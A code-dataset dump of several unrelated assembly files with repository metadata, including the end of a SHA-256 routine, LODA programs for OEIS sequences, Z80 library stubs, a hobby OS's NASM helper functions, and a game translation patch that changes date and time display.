xor %r10d, %r12d
shrd $(11), %r12d, %r12d
xor %r10d, %r12d
shrd $(2), %r12d, %r12d
mov %r10d, %r13d
xor %eax, %r13d
xor %eax, %r11d
and %r11d, %r13d
xor %eax, %r11d
xor %eax, %r13d
add %r12d, %r9d
add %r13d, %r9d
addl (12)(%rsp), %r8d
mov %ebx, %r12d
shrd $(14), %r12d, %r12d
xor %ebx, %r12d
shrd $(5), %r12d, %r12d
xor %ebx, %r12d
shrd $(6), %r12d, %r12d
mov %ecx, %r13d
xor %edx, %r13d
and %ebx, %r13d
xor %edx, %r13d
add %r12d, %r8d
add %r13d, %r8d
add %r8d, %eax
mov %r9d, %r12d
shrd $(9), %r12d, %r12d
xor %r9d, %r12d
shrd $(11), %r12d, %r12d
xor %r9d, %r12d
shrd $(2), %r12d, %r12d
mov %r9d, %r13d
xor %r11d, %r13d
xor %r11d, %r10d
and %r10d, %r13d
xor %r11d, %r10d
xor %r11d, %r13d
add %r12d, %r8d
add %r13d, %r8d
vpaddd (240)(%rbp), %xmm3, %xmm7
vmovdqa %xmm7, (%rsp)
addl (%rsp), %edx
mov %eax, %r12d
shrd $(14), %r12d, %r12d
xor %eax, %r12d
shrd $(5), %r12d, %r12d
xor %eax, %r12d
shrd $(6), %r12d, %r12d
mov %ebx, %r13d
xor %ecx, %r13d
and %eax, %r13d
xor %ecx, %r13d
add %r12d, %edx
add %r13d, %edx
add %edx, %r11d
mov %r8d, %r12d
shrd $(9), %r12d, %r12d
xor %r8d, %r12d
shrd $(11), %r12d, %r12d
xor %r8d, %r12d
shrd $(2), %r12d, %r12d
mov %r8d, %r13d
xor %r10d, %r13d
xor %r10d, %r9d
and %r9d, %r13d
xor %r10d, %r9d
xor %r10d, %r13d
add %r12d, %edx
add %r13d, %edx
addl (4)(%rsp), %ecx
mov %r11d, %r12d
shrd $(14), %r12d, %r12d
xor %r11d, %r12d
shrd $(5), %r12d, %r12d
xor %r11d, %r12d
shrd $(6), %r12d, %r12d
mov %eax, %r13d
xor %ebx, %r13d
and %r11d, %r13d
xor %ebx, %r13d
add %r12d, %ecx
add %r13d, %ecx
add %ecx, %r10d
mov %edx, %r12d
shrd $(9), %r12d, %r12d
xor %edx, %r12d
shrd $(11), %r12d, %r12d
xor %edx, %r12d
shrd $(2), %r12d, %r12d
mov %edx, %r13d
xor %r9d, %r13d
xor %r9d, %r8d
and %r8d, %r13d
xor %r9d, %r8d
xor %r9d, %r13d
add %r12d, %ecx
add %r13d, %ecx
addl (8)(%rsp), %ebx
mov %r10d, %r12d
shrd $(14), %r12d, %r12d
xor %r10d, %r12d
shrd $(5), %r12d, %r12d
xor %r10d, %r12d
shrd $(6), %r12d, %r12d
mov %r11d, %r13d
xor %eax, %r13d
and %r10d, %r13d
xor %eax, %r13d
add %r12d, %ebx
add %r13d, %ebx
add %ebx, %r9d
mov %ecx, %r12d
shrd $(9), %r12d, %r12d
xor %ecx, %r12d
shrd $(11), %r12d, %r12d
xor %ecx, %r12d
shrd $(2), %r12d, %r12d
mov %ecx, %r13d
xor %r8d, %r13d
xor %r8d, %edx
and %edx, %r13d
xor %r8d, %edx
xor %r8d, %r13d
add %r12d, %ebx
add %r13d, %ebx
addl (12)(%rsp), %eax
mov %r9d, %r12d
shrd $(14), %r12d, %r12d
xor %r9d, %r12d
shrd $(5), %r12d, %r12d
xor %r9d, %r12d
shrd $(6), %r12d, %r12d
mov %r10d, %r13d
xor %r11d, %r13d
and %r9d, %r13d
xor %r11d, %r13d
add %r12d, %eax
add %r13d, %eax
add %eax, %r8d
mov %ebx, %r12d
shrd $(9), %r12d, %r12d
xor %ebx, %r12d
shrd $(11), %r12d, %r12d
xor %ebx, %r12d
shrd $(2), %r12d, %r12d
mov %ebx, %r13d
xor %edx, %r13d
xor %edx, %ecx
and %ecx, %r13d
xor %edx, %ecx
xor %edx, %r13d
add %r12d, %eax
add %r13d, %eax
addl %eax, (%rdi)
addl %ebx, (4)(%rdi)
addl %ecx, (8)(%rdi)
addl %edx, (12)(%rdi)
addl %r8d, (16)(%rdi)
addl %r9d, (20)(%rdi)
addl %r10d, (24)(%rdi)
addl %r11d, (28)(%rdi)
add $(64), %rsi
subq $(64), (16)(%rsp)
jg .Lsha256_block_loopgas_1
add $(40), %rsp
vzeroupper
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
.Lfe1:
.size e9_UpdateSHA256, .Lfe1-(e9_UpdateSHA256)
| 32.070465
| 80
| 0.387102
|
18945b2aca98aed180795ea1bcf81f88f530a71f
| 125
|
asm
|
Assembly
|
src/native/third_party/isa-l/igzip/igzip_update_histogram_04.asm
|
eshelmarc/noobaa-core
|
a1db60038170f253ebc7049860b652999bea9d25
|
[
"Apache-2.0"
] | 344
|
2019-05-02T21:27:54.000Z
|
2022-03-29T05:38:16.000Z
|
src/native/third_party/isa-l/igzip/igzip_update_histogram_04.asm
|
eshelmarc/noobaa-core
|
a1db60038170f253ebc7049860b652999bea9d25
|
[
"Apache-2.0"
] | 761
|
2019-05-13T09:35:59.000Z
|
2022-03-31T18:18:06.000Z
|
src/native/third_party/isa-l/igzip/igzip_update_histogram_04.asm
|
eshelmarc/noobaa-core
|
a1db60038170f253ebc7049860b652999bea9d25
|
[
"Apache-2.0"
] | 131
|
2019-05-01T17:54:36.000Z
|
2022-03-18T12:16:10.000Z
|
%define ARCH 04
%define USE_HSWNI
%ifndef COMPARE_TYPE
%define COMPARE_TYPE 3
%endif
%include "igzip_update_histogram.asm"
| 13.888889
| 37
| 0.808
|
0a730975dff2aa3ec07131f698871572f40090fd
| 576
|
asm
|
Assembly
|
oeis/304/A304171.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/304/A304171.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/304/A304171.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A304171: a(n) = 87*2^n - 38 (n>=0).
; 49,136,310,658,1354,2746,5530,11098,22234,44506,89050,178138,356314,712666,1425370,2850778,5701594,11403226,22806490,45613018,91226074,182452186,364904410,729808858,1459617754,2919235546,5838471130,11676942298,23353884634,46707769306,93415538650,186831077338,373662154714,747324309466,1494648618970,2989297237978,5978594475994,11957188952026,23914377904090,47828755808218,95657511616474,191315023232986,382630046466010,765260092932058,1530520185864154,3061040371728346,6122080743456730
mov $1,2
pow $1,$0
mul $1,87
sub $1,38
mov $0,$1
| 64
| 487
| 0.838542
|
1d6217ea96d59c80a4c8cf92485a47dbd3c6c6a5
| 3,112
|
asm
|
Assembly
|
nasmfunc.asm
|
zulinx86/haribote-os-on-mac
|
8f0b7171812ce66cd5780a5021d22ed849793f61
|
[
"MIT"
] | null | null | null |
nasmfunc.asm
|
zulinx86/haribote-os-on-mac
|
8f0b7171812ce66cd5780a5021d22ed849793f61
|
[
"MIT"
] | null | null | null |
nasmfunc.asm
|
zulinx86/haribote-os-on-mac
|
8f0b7171812ce66cd5780a5021d22ed849793f61
|
[
"MIT"
] | null | null | null |
; nasmfunc
bits 32
global io_hlt, io_cli, io_sti, io_stihlt
global io_in8, io_in16, io_in32
global io_out8, io_out16, io_out32
global io_load_eflags, io_store_eflags
global load_cr0, store_cr0
global load_gdtr, load_idtr, load_tr
global asm_inthandler20, asm_inthandler21, asm_inthandler2c
extern inthandler20, inthandler21, inthandler2c
global memtest_sub
global farjmp
section .text
io_hlt: ; void io_hlt(void);
hlt
ret
io_cli: ; void io_cli(void);
cli
ret
io_sti: ; void io_sti(void);
sti
ret
io_stihlt: ; void io_stihlt(void);
sti
hlt
ret
io_in8: ; int io_in8(int port);
mov edx,[esp+4] ; port
mov eax,0
in al,dx
ret
io_in16: ; int io_in16(int port);
mov edx,[esp+4]
mov eax,0
in ax,dx
ret
io_in32: ; int io_in32(int port);
mov edx,[esp+4]
in eax,dx
ret
io_out8: ; void io_out8(int port, int data);
mov edx,[esp+4]
mov eax,[esp+8]
out dx,al
ret
io_out16: ; void io_out16(int port, int data);
mov edx,[esp+4]
mov eax,[esp+8]
out dx,ax
ret
io_out32: ; void io_out32(int port, int data);
mov edx,[esp+4]
mov eax,[esp+8]
out dx,eax
ret
io_load_eflags: ; int io_load_eflags(void);
pushfd
pop eax
ret
io_store_eflags: ; void io_store_eflags(int eflags);
mov eax,[esp+4]
push eax
popfd
ret
load_cr0: ; int load_cr0(void);
mov eax,cr0
ret
store_cr0: ; void store_cr0(int cr0);
mov eax,[esp+4]
mov cr0,eax
ret
load_gdtr: ; void load_gdtr(int limit, int addr);
mov ax,[esp+4]
mov [esp+6],ax
lgdt [esp+6]
ret
load_idtr: ; void load_idtr(int limit, int addr);
mov ax,[esp+4]
mov [esp+6],ax
lidt [esp+6]
ret
load_tr: ; void load_tr(int tr);
ltr [esp+4]
ret
asm_inthandler20:
push es
push ds
pushad
mov eax,esp
push eax
mov ax,ss
mov ds,ax
mov es,ax
call inthandler20
pop eax
popad
pop ds
pop es
iretd
asm_inthandler21:
push es
push ds
pushad
mov eax,esp
push eax
mov ax,ss
mov ds,ax
mov es,ax
call inthandler21
pop eax
popad
pop ds
pop es
iretd
asm_inthandler2c:
push es
push ds
pushad
mov eax,esp
push eax
mov ax,ss
mov ds,ax
mov es,ax
call inthandler2c
pop eax
popad
pop ds
pop es
iretd
memtest_sub: ; unsigned int memtest_sub(unsigned int start, unsigned int end);
push edi
push esi
push ebx
mov eax,[esp+12+4] ; unsigned int i = start;
mov esi,0xaa55aa55 ; unsigned int pat0 = 0xaa55aa55;
mov edi,0x55aa55aa ; unsigned int pat1 = 0x55aa55aa;
.loop:
mov ebx,eax
add ebx,0xffc ; unsigned int *p = i + 0x0ffc;
mov edx,[ebx] ; unsigned int old = *p;
mov [ebx],esi ; *p = pat0;
xor dword [ebx],0xffffffff ; *p ^= 0xffffffff;
cmp edi,[ebx] ; if (*p != pat1)
jne .fin ; goto .fin;
xor dword [ebx],0xffffffff ; *p ^= 0xffffffff;
cmp esi,[ebx] ; if (*p != pat0)
jne .fin ; goto .fin;
mov [ebx],edx ; *p = old;
add eax,0x1000 ; i += 0x1000;
cmp eax,[esp+12+8] ; if (i < end)
jb .loop ; goto .loop;
pop ebx
pop esi
pop edi
ret
.fin:
mov [ebx],edx ; *p = old;
pop ebx
pop esi
pop edi
ret
farjmp: ; void farjmp(int eip, int cs);
; [esp+4]: eip
; [esp+8]: cs
jmp far [esp+4]
ret
| 16.293194
| 79
| 0.66099
|
9ce91f9e4f17fd9f8977a8cba6bceeafc549540f
| 746
|
asm
|
Assembly
|
oeis/032/A032834.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/032/A032834.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/032/A032834.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A032834: Numbers with digits 3 and 4 only.
; Submitted by Jamie Morken(s4)
; 3,4,33,34,43,44,333,334,343,344,433,434,443,444,3333,3334,3343,3344,3433,3434,3443,3444,4333,4334,4343,4344,4433,4434,4443,4444,33333,33334,33343,33344,33433,33434,33443,33444,34333,34334,34343,34344,34433,34434,34443,34444,43333,43334,43343,43344,43433,43434,43443,43444,44333,44334,44343,44344,44433,44434,44443,44444,333333,333334,333343,333344,333433,333434,333443,333444,334333,334334,334343,334344,334433,334434,334443,334444,343333,343334,343343,343344,343433,343434,343443,343444,344333
add $0,1
mov $2,2
lpb $0
mov $3,$0
mul $0,2
sub $0,1
div $0,4
sub $1,$2
mod $3,2
mul $3,$2
add $1,$3
mul $2,10
lpe
mul $1,3
sub $2,$1
mov $0,$2
div $0,6
| 33.909091
| 496
| 0.734584
|
c069b7c6cab5187bbd4cca7abf0a387f751e786c
| 191
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/l/sdcc/____sdcc_store_debc_mhl.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/l/sdcc/____sdcc_store_debc_mhl.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/l/sdcc/____sdcc_store_debc_mhl.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
SECTION code_clib
SECTION code_l_sdcc
PUBLIC ____sdcc_store_debc_mhl
____sdcc_store_debc_mhl:
ld (hl),c
inc hl
ld (hl),b
inc hl
ld (hl),e
inc hl
ld (hl),d
ret
| 10.611111
| 30
| 0.649215
|
ec1965e2cbf5b1fa924933d3092337ad5b68dc66
| 593
|
asm
|
Assembly
|
oeis/170/A170797.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/170/A170797.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/170/A170797.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A170797: a(n) = n^10*(n^5+1)/2.
; 0,1,16896,7203978,537395200,15263671875,235122725376,2373921992596,17592722915328,102947309439525,500005000000000,2088637053420126,7703541745975296,25593015436291303,77784192406233600,218947233515625000,576461302059237376,1431212533751858121,3373322093472342528,7590566580470528050,16384005120000000000,34061167631416330251,68440047287667421696,133317638445451229628,252428673179713536000,465661334991455078125,838629741726410789376,1477156456220982896646,2548827825717578825728
mov $2,$0
pow $2,5
mov $1,$2
pow $1,2
mul $2,$1
add $1,$2
div $1,2
mov $0,$1
| 49.416667
| 480
| 0.853288
|
415dbe95120b86e31a44afebbc5786a6866a4ef3
| 545
|
asm
|
Assembly
|
programs/oeis/318/A318454.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/318/A318454.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/318/A318454.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A318454: Denominators of the sequence whose Dirichlet convolution with itself yields A001227, number of odd divisors of n.
; 1,2,1,8,1,2,1,16,1,2,1,8,1,2,1,128,1,2,1,8,1,2,1,16,1,2,1,8,1,2,1,256,1,2,1,8,1,2,1,16,1,2,1,8,1,2,1,128,1,2,1,8,1,2,1,16,1,2,1,8,1,2,1,1024,1,2,1,8,1,2,1,16,1,2,1,8,1,2,1,128,1,2,1,8,1,2,1,16,1,2,1,8,1,2,1,256,1,2,1,8
seq $0,7814 ; Exponent of highest power of 2 dividing n, a.k.a. the binary carry sequence, the ruler sequence, or the 2-adic valuation of n.
seq $0,46161 ; a(n) = denominator of binomial(2n,n)/4^n.
| 90.833333
| 220
| 0.666055
|
945960fc21eb8b1af3ed50dc135641ac98770158
| 352
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/math/float/math48/z80/core/mm48_equal.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/math/float/math48/z80/core/mm48_equal.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/math/float/math48/z80/core/mm48_equal.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
SECTION code_clib
SECTION code_fp_math48
PUBLIC mm48_equal
mm48_equal:
; Set AC' equal to AC
; -------------------
;
; NAME: EQUAL
; FUNCTION: AC'=AC. AC' is set equal to the number in AC.
; OFFSET: 36H
; STACK: 6 bytes.
push bc
push de
push hl
exx
pop hl
pop de
pop bc
ret
| 12.571429
| 62
| 0.522727
|
fc5502a1a332c9e232e6bd460b76dbfc4322016b
| 577
|
asm
|
Assembly
|
programs/oeis/267/A267445.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/267/A267445.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/267/A267445.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A267445: Number of ON (black) cells in the n-th iteration of the "Rule 129" elementary cellular automaton starting with a single ON (black) cell.
; 1,0,1,0,5,3,5,0,13,11,13,7,17,11,13,0,29,27,29,23,33,27,29,15,41,35,37,23,41,27,29,0,61,59,61,55,65,59,61,47,73,67,69,55,73,59,61,31,89,83,85,71,89,75,77,47,97,83,85,55,89,59,61,0,125,123,125,119,129,123,125,111,137,131,133,119,137,123,125,95,153,147,149,135,153,139,141,111,161,147,149,119,153,123,125,63,185,179,181,167
mov $1,1
trn $1,$0
seq $0,71050 ; Number of 0's in n-th row of triangle in A071035.
add $1,$0
mov $0,$1
| 64.111111
| 323
| 0.694974
|
defc163b7b8bdaa684f18fee4a1d39591aa3044c
| 571
|
asm
|
Assembly
|
programs/oeis/173/A173522.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/173/A173522.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/173/A173522.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A173522: Zero together with the partial sums of A105321.
; 0,1,4,8,14,20,26,34,46,56,62,70,82,94,106,122,146,164,170,178,190,202,214,230,254,274,286,302,326,350,374,406,454,488,494,502,514,526,538,554,578,598,610,626,650,674,698,730,778,814,826,842,866,890,914,946,994,1034,1058,1090,1138,1186,1234,1298,1394,1460,1466,1474,1486,1498,1510,1526,1550,1570,1582,1598,1622,1646,1670,1702,1750,1786,1798,1814,1838,1862,1886,1918,1966,2006,2030,2062,2110,2158,2206,2270,2366,2434,2446,2462
mul $0,2
trn $0,1
seq $0,151566 ; Leftist toothpicks (see Comments for definition).
| 81.571429
| 426
| 0.756567
|
e476fc0051dc1dca2380b4e28ec96b55d59c3660
| 504
|
asm
|
Assembly
|
programs/oeis/151/A151907.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/151/A151907.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/151/A151907.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A151907: Partial sums of A151906.
; 0,1,5,9,13,25,29,33,45,57,69,105,109,113,125,137,149,185,197,209,245,281,317,425,429,433,445,457,469,505,517,529,565,601,637,745,757,769,805,841,877,985,1021,1057,1165,1273,1381,1705,1709,1713,1725,1737,1749,1785,1797
mov $5,$0
mov $7,$0
lpb $7,1
clr $0,5
mov $0,$5
sub $7,1
sub $0,$7
mul $0,2
lpb $0,1
div $0,3
mov $1,$0
cal $1,147582 ; First differences of A147562.
mov $0,0
add $2,$1
add $3,$2
lpe
add $6,$3
lpe
mov $1,$6
| 21.913043
| 219
| 0.617063
|
bffa2956c977f9060761fd5494b5aff51d46eb36
| 13,556
|
asm
|
Assembly
|
asm/time.asm
|
RockmanEXEZone/MMBN45-English-Translation
|
61c8df305f76b3b94395cf58cee16d816b56eaaa
|
[
"BSD-3-Clause"
] | 6
|
2019-11-16T10:19:15.000Z
|
2022-03-25T16:36:40.000Z
|
asm/time.asm
|
RockmanEXEZone/MMBN45-English-Translation
|
61c8df305f76b3b94395cf58cee16d816b56eaaa
|
[
"BSD-3-Clause"
] | null | null | null |
asm/time.asm
|
RockmanEXEZone/MMBN45-English-Translation
|
61c8df305f76b3b94395cf58cee16d816b56eaaa
|
[
"BSD-3-Clause"
] | null | null | null |
// Fix AM/PM time display on PET Screen
.org 0x8035990
.area 0x6,0x00
.if !VAR_24_HOUR
bl common_convert24HourTo12Hour
.endif
.endarea
.org 0x803599E
cmp r4,0xB
// Fix AM/PM time display on Field Screen
.org 0x802C98A
.area 0x6,0x00
.if !VAR_24_HOUR
bl common_convert24HourTo12Hour
.endif
.endarea
.org 0x802C9A6
cmp r0,0xB
// Fix AM/PM time display on Schedule Input
.org 0x80326A8
cmp r2,0xB
.org 0x80326C2
.area 0x18,0x00
mov r1,r6
mov r2,0x0
mov r0,0x1
tst r0,r7
beq @@next
mov r2,0x1
@@next:
ldrb r0,[r4,0x4]
.if !VAR_24_HOUR
bl common_convert24HourTo12Hour
.endif
mov r3,r0
// x-offset for hour
mov r0,(VAR_24_HOUR ? 0x1D : 0x10)
add r0,r0,r5
.endarea
// Fix AM/PM time display on Schedule View
.if VAR_24_HOUR
.org 0x8033BE2
mov r0,0x36 // x-offset for hour
.org 0x8033BF4
mov r0,0x4B // x-offset for minute
.org 0x8033C00
mov r0,0x3D // x-offset for :
.org 0x8033C0C
// Skip AM/PM
b 0x8033C2E
.endif
.org 0x8033C10
cmp r0,0xB
.org 0x8033BE2
.area 0xE,0x00
add r1,r4,r6
mov r2,0xD
ldrb r0,[r7,0x6]
.if !VAR_24_HOUR
bl common_convert24HourTo12Hour
.endif
mov r3,r0
mov r0,0x2E
.endarea
// Fix AM/PM time display on Schedule Delete
.if VAR_24_HOUR
.org 0x803423A
mov r0,0x48 // x-offset for minute
.org 0x8034246
mov r0,0x38 // x-offset for :
.org 0x8034252
b 0x8034274
.endif
.org 0x8034256
cmp r0,0xB
.org 0x8034228
.area 0xE,0x00
add r1,r4,r6
mov r2,0xB
ldrb r0,[r7,0x6]
.if !VAR_24_HOUR
bl common_convert24HourTo12Hour
.endif
mov r3,r0
.if VAR_24_HOUR
mov r0,0x30 // x-offset for hour
.else
mov r0,0x20 // x-offset for hour
.endif
.endarea
// Fix AM/PM time display in callBufferEventHour
.org 0x80340CA
.area 0x6,0x00
.if !VAR_24_HOUR
push r14
bl common_convert24HourTo12HourSub
.endif
.endarea
// Fix AM/PM time display in callBufferEventAMPM
.org 0x8034100
cmp r2,0xB
.if VAR_DDMMYYYY
// DD/MM in dialogue (just swap day and month buffer commands)
.org 0x805255E
bl 0x802E520 // Load day for callBufferCurrentMonth
.org 0x8052566
bl 0x802E50E // Load month for callBufferCurrentDay
.org 0x80340B6
ldrb r0,[r2,0x4] // Load day for callBufferEventMonth
.org 0x80340BE
ldrb r0,[r2,0x3] // Load month for callBufferEventDay
.endif
.if VAR_24_HOUR
// Remove AM/PM in dialogue
.org 0x80340F4
.area 0x1A
push r14
ldr r1,[0x803413C] // Get pointer to event schedule buffer
mov r0,0xE5
strb r0,[r1] // Store empty string
pop r15
.endarea
.endif
// MM/DD/YY on PET Screen
.org 0x8035944
mov r1,0x18 // Year in third position
.if VAR_DDMMYYYY
.org 0x8035956
mov r1,0xC // Month in second position
.org 0x8035968
mov r1,0x0 // Day in first position
.else
.org 0x8035956
mov r1,0x0 // Month in first position
.org 0x8035968
mov r1,0xC // Day in second position
.endif
// 24-hour clock on PET Screen
.if VAR_24_HOUR
.org 0x803599C
// Skip AM/PM
b 0x80359AA
.org 0x8035A12
.db 0x3F // x-position of year digit 1
.org 0x8035A16
.db 0x45 // x-position of year digit 2
.org 0x8035A1A
.db 0x4B // x-position of first /
.org 0x8035A1E
.db 0x51 // x-position of month digit 1
.org 0x8035A22
.db 0x57 // x-position of month digit 2
.org 0x8035A26
.db 0x5D // x-position of second /
.org 0x8035A2A
.db 0x63 // x-position of day digit 1
.org 0x8035A2E
.db 0x69 // x-position of day digit 2
.org 0x8035A32
.db 0x8F // x-position of hour digit 1
.org 0x8035A36
.db 0x95 // x-position of hour digit 2
.org 0x8035A3A
.db 0x9B // x-position of :
.org 0x8035A3E
.db 0xA1 // x-position of minute digit 1
.org 0x8035A42
.db 0xA7 // x-position of minute digit 2
.org 0x8035A4A
.db 0x73 // x-position of weekday
.endif
// BattleChip Gate icon position on Field Screen
.org 0x802CC2A
.if VAR_24_HOUR
.db 0x6C
.else
.db 0x5C
.endif
// MM/DD/YY on Field Screen
.org 0x802C946
.if VAR_24_HOUR
mov r4,0x80 // base x-offset for date and time
.else
mov r4,0x70 // base x-offset for date and time
.endif
.if VAR_DDMMYYYY
.org 0x802CAA6
.db 0x18 // x-offset for month X0
.org 0x802CAAE
.db 0x20 // x-offset for month 0X
.org 0x802CABA
.db 0x00 // x-offset for day X0
.org 0x802CAC2
.db 0x08 // x-offset for day 0X
.else
.org 0x802CAA6
.db 0x00 // x-offset for month X0
.org 0x802CAAE
.db 0x08 // x-offset for month 0X
.org 0x802CABA
.db 0x18 // x-offset for day X0
.org 0x802CAC2
.db 0x20 // x-offset for day 0X
.endif
.org 0x802CA5E
.db 0x10 // x-offset for / when PM
.org 0x802CA7A
.db 0x10 // x-offset for / when AM
.org 0x802CA66
.db 0x27 // x-offset for ( when PM
.org 0x802CA82
.db 0x27 // x-offset for ( when AM
.org 0x802CAF6
.db 0x2F // x-offset for weekday
.org 0x802CAFE
.db 0x3F // x-offset for )
.org 0x802CACE
.db 0x46 // x-offset for hour X0
.org 0x802CAD6
.db 0x4E // x-offset for hour 0X
.org 0x802CA9A
.db 0x56 // x-offset for :
.org 0x802CAE2
.db 0x5E // x-offset for minute X0
.org 0x802CAEA
.db 0x66 // x-offset for minute 0X
.org 0x802CA6E
.db 0x70 // x-offset for PM
.org 0x802CA8A
.db 0x70 // x-offset for AM
.org 0x803AC68 // y-offset for first / on "Enter the date and time."
.db 0x43
.org 0x803AC6A // x-offset for first / on "Enter the date and time."
.db 0x47
.org 0x803AC78 // y-offset for first / on "Enter the date and time." (orange)
.db 0x43
.org 0x803AC7A // x-offset for first / on "Enter the date and time." (orange)
.db 0x47
.org 0x803AC88 // y-offset for second / on "Enter the date and time."
.db 0x43
.org 0x803AC8A // x-offset for second / on "Enter the date and time."
.db 0x6C
.org 0x803AC98 // y-offset for second / on "Enter the date and time." (orange)
.db 0x43
.org 0x803AC9A // x-offset for second / on "Enter the date and time." (orange)
.db 0x6C
.org 0x803ACA8 // y-offset for : on "Enter the date and time."
.db 0x50
.org 0x803ACAA // x-offset for : on "Enter the date and time."
.db 0x6C
.org 0x803ACB8 // y-offset for : on "Enter the date and time." (orange)
.db 0x50
.org 0x803ACBA // x-offset for : on "Enter the date and time." (orange)
.db 0x6C
.org 0x803ACC8 // y-offset for AM on "Enter the date and time."
.db 0x50
.org 0x803ACCA // x-offset for AM on "Enter the date and time."
.db 0x9A
.org 0x803ACD8 // y-offset for AM on "Enter the date and time." (orange)
.db 0x50
.org 0x803ACDA // x-offset for AM on "Enter the date and time." (orange)
.db 0x9A
.org 0x803ACE8 // y-offset for PM on "Enter the date and time."
.db 0x50
.org 0x803ACEA // x-offset for PM on "Enter the date and time."
.db 0x9A
.org 0x803ACF8 // y-offset for PM on "Enter the date and time." (orange)
.db 0x50
.org 0x803ACFA // x-offset for PM on "Enter the date and time." (orange)
.db 0x9A
.org 0x803ADE0 // y-offset for (Su) on "Enter the date and time." screen
.db 0x43
